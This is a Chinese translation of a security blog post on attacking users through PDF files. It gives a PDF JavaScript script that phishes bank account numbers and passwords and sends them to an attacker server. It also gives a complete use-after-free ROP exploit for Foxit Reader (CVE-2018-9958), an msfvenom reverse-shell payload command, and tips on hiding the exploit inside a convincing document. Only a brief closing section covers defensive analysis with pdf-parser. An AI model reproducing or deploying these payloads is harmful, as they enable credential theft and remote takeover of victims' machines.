Hacking With PDF
原文链接:0xcybery.github.io/blog/hackin…
原文作者:Abdullah Baghuth
译者:菜小鸟魔王
01 Introduction
在研究如何将 PDF 用作攻击载体时,我翻阅了众多资料,虽然获取到了许多有价值的信息,但若对 PDF 的底层结构缺乏了解,该研究🧐将举步维艰。于是,我决定深入研究 PDF 的构造结构。这一过程让我意识到,PDF 不仅能作为攻击载体,还能通过一系列连锁反应,对攻击目标进行多重攻击。
02 Write a PDF file
要想创建一个 PDF 文件,首先得熟悉其底层结构。为此,我推荐阅读《Let’s write a PDF file》来入门 PDF 文件格式的基础知识。
03 PDF Injection
弹出⏏️的对话框(Popup Windows (dialogs))是 Acrobat 交互功能的重要组件。该组件用于向用户展示错误信息提醒、警告以及其他重要信息,还能会向用户提问并收集输入信息。Acrobat 提供了多种预设的Popup Windows(如警告框(alert)、响应框(response)和文件打开框(file open)),同时也支持自定义对话框的创建。
接下来,我将演示如何进行 PDF injection 攻击,弹出 “alert(1)” 提示框,并进一步改进 PDF injection 攻击技术,以便嵌入能够窃取用户信息和打开恶意链接的 JavaScript 代码。
我们可以在 PDF 中像执行 XSS 攻击一样,在 JavaScript 的函数调用(function call)中注入攻击代码。通常在进行 XSS 攻击时,需要确保代码语法正确无误,PDF injection 攻击也遵循这一原则,只不过注入点位于 javascript 、text stream 或 annotation URI 等对象内部。
3.1 XSS
进行 XSS 攻击时,我们需要在 javascript 对象中注入攻击代码,并留意确保括号正确配对。如果 PDF 文件能够无误地正常显示,那就说明注入成功了。然而,仅仅往 PDF 文件中注入攻击代码并不够,我们的目标是确保 JavaScript 代码能够被执行。我向PDF文件注入了如下 JavaScript 代码,执行一次弹出警告框的 XSS 攻击。
警告框 Alert Box
app.alert() 函数用于向受害者弹出一个警告框⚠️。
<<
/Type /Action
/S /JavaScript
/JS (app.alert('XSS');)
>>
打开 PDF 文件时,会弹出警告框。
如果各位读者觉得手动注入该 js 脚本有些困难,可以使用 JS2PDFInjector 工具。
窃取用户信息 Stealing Credentials
许多银行会定期发送带有客户账号和密码保护的对账单。如果客户不慎落入钓鱼陷阱,他们的账户信息就可能被盗取。
下面展示攻击者如何利用提交表单的方式窃取账户信息,并将其传送至自己的服务器。
app.response() 函数的第一个参数显示响应框(Response Box)体内显示的文本。这是标准的使用方式,但响应框也可以在没有输入参数的情况下调用,因为它总会显示一个文本输入框。用户在框中输入文本后,如果点击“确定”按钮关闭对话框,这些文本就会赋值给 account 变量。如果用户点击“取消”按钮,则account变量将为空,这一点同样适用于第二个参数。
cURL 变量由服务器地址与从受害者处获取的账号和密码拼接而成,然后通过submitForm()函数将这些信息提交给攻击者的服务器。
<<
/Type /Action
/S /JavaScript
/JS
(
var account = app.response ({ cQuestion:"Enter your Bank Account Number", cTitle:"Bank Account Details", bPassword:false, cDefault: global.cLastPswd, cLabel:"A/C"});
var password = app.response ({ cQuestion:"Enter your Bank Account Passowrd", cTitle:"Bank Account Details", bPassword:true, cDefault: global.cLastPswd, cLabel:"Password"});
var cURL = "http://192.168.1.10:443" + "?" + "account=" + account + "&password=" + password;
this.submitForm({cURL: encodeURI(cURL), cSubmitAs: 'HTML'});
)
>>
3.2 触发恶意链接
攻击者能够在 PDF 文档中植入恶意网址,一旦受害者打开该 PDF,便会弹出安全警告信息。如果该链接看起来没有问题,受害者可能会点击“允许”,从而不小心打开了该恶意网站。
通过 URI 方法,攻击者可以在 PDF 文档打开的同时打开链接,这一功能可能被攻击者利用,用以启动恶意链接。
<<
/Type /Action
/S /URI
/URI (https://twitter.com/0xCyberY)
>>
同样,也可以使用 javascript 对象中的 app.launchURL() 函数。
<<
/Type /Action
/S /JavaScript
/JS
(
app.launchURL("https://twitter.com/0xCyberY", true);
)
>>
04 RCE
使用旧版的 PDF 阅读器或向 PDF 中嵌入可执行文件可能会引发远程代码执行攻击(remote code execution)的风险。在下面的演示中,我们将使用 CVE-2018-9958 漏洞来针对 9.0.1.1049 版本的 Foxit Reader 进行攻击。
首先,我们需要从 exploit-db 网站下载攻击脚本。 接着,使用以下命令生成可执行的 payload :msfvenom -p windows/shell_reverse_tcp -f exe LHOST=192.168.1.10 LPORT=443 -o shell.exe。 然后,执行以下命令生成 PDF 文件:python3 49116.py \\192.168.1.10\\share\shell.exe remote_code_exe.pdf。 该攻击脚本会创建一个嵌入 javascript payload 的空白PDF,看起来十分可疑,可能会引起受害者的警觉。为了避免这种情况,我们将攻击代码注入到一个含有内容的 PDF 中,以降低被察觉的风险。
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
//Path to executable
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x36312e32;
rop[0x0e] = 0x2e312e38;
rop[0x0f] = 0x735c3031;
rop[0x10] = 0x65726168;
rop[0x11] = 0x6568735c;
rop[0x12] = 0x652e6c6c;
rop[0x13] = 0x00006578;
rop[0x14] = 0x00000000;
rop[0x15] = 0x00000000;
rop[0x16] = 0x00000000;
//End Path to executable
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
请注意,以下代码可能根据您的可执行文件路径不同而有所差异。
在PDF打开之际,会发起一个请求,将在共享的 SMB 文件夹中运行 shell.exe 文件。当 shell.exe 开始执行,它将会向攻击者回连一个反向shell。
接下来需要将含有恶意代码的 PDF 文件发送给目标受害者。
- 确定存放shell.exe文件的 SMB 共享文件夹位置。
- 在 443 端口设置 netcat 监听器。
- 最后,用Foxit Reader打开该PDF文件。
Note:
javascript code can be encode to hex example:
app.alert(‘XSS’); = <6170702e616c657274282758535327293b>
05 分析带有恶意代码的 PDF 文档
具备红队的能力,能够运用多种手法通过 PDF 实施攻击,这自然是非常厉害的;但若还能拥有蓝队的技能,那就更上一层楼了。这样,我们不仅能发起攻击,还能掌握防御策略,并懂得如何对这些恶意文件进行深入分析。
本文将展示如何使用 peepdf、pdf-parser 和 pestudio 等工具分析 PDF。
现在,我们就以 bank_statement.pdf 文件为例,着手分析它是否含有恶意代码。
我们可以观察到,在对象[3]中存在一个包含 javascript 代码的对象。
为了导出这个对象,我们可以利用一个名为 pdf-parser 的工具来进行操作。
现在我们已经知道了文件名和对象编号,就可以将它们作为参数传递给 pdf-parser 工具。
使用 pdf-parser 时,有许多参数可供各位读者自行发掘,例如使用 -f 参数来通过过滤器(filters)并处理流对象(stream object),或是使用 -d 参数将流内容输出到文件。
You can get all PDFs used in this article Here
References
- Let’s write a PDF file
- Portable Data exFiltration: XSS for PDFs
- Learn and Play with PDF Source Code
- PDF - Mess With The Web
- Familiarity with the Acrobat JavaScript environment
- The PDF invoice that phished you
- adobe-acrobat-javascript-action
- Malicious PDFs Revealing the Techniques Behind the Attacks
- Analyze Malicious PDFs
- PDF_analysis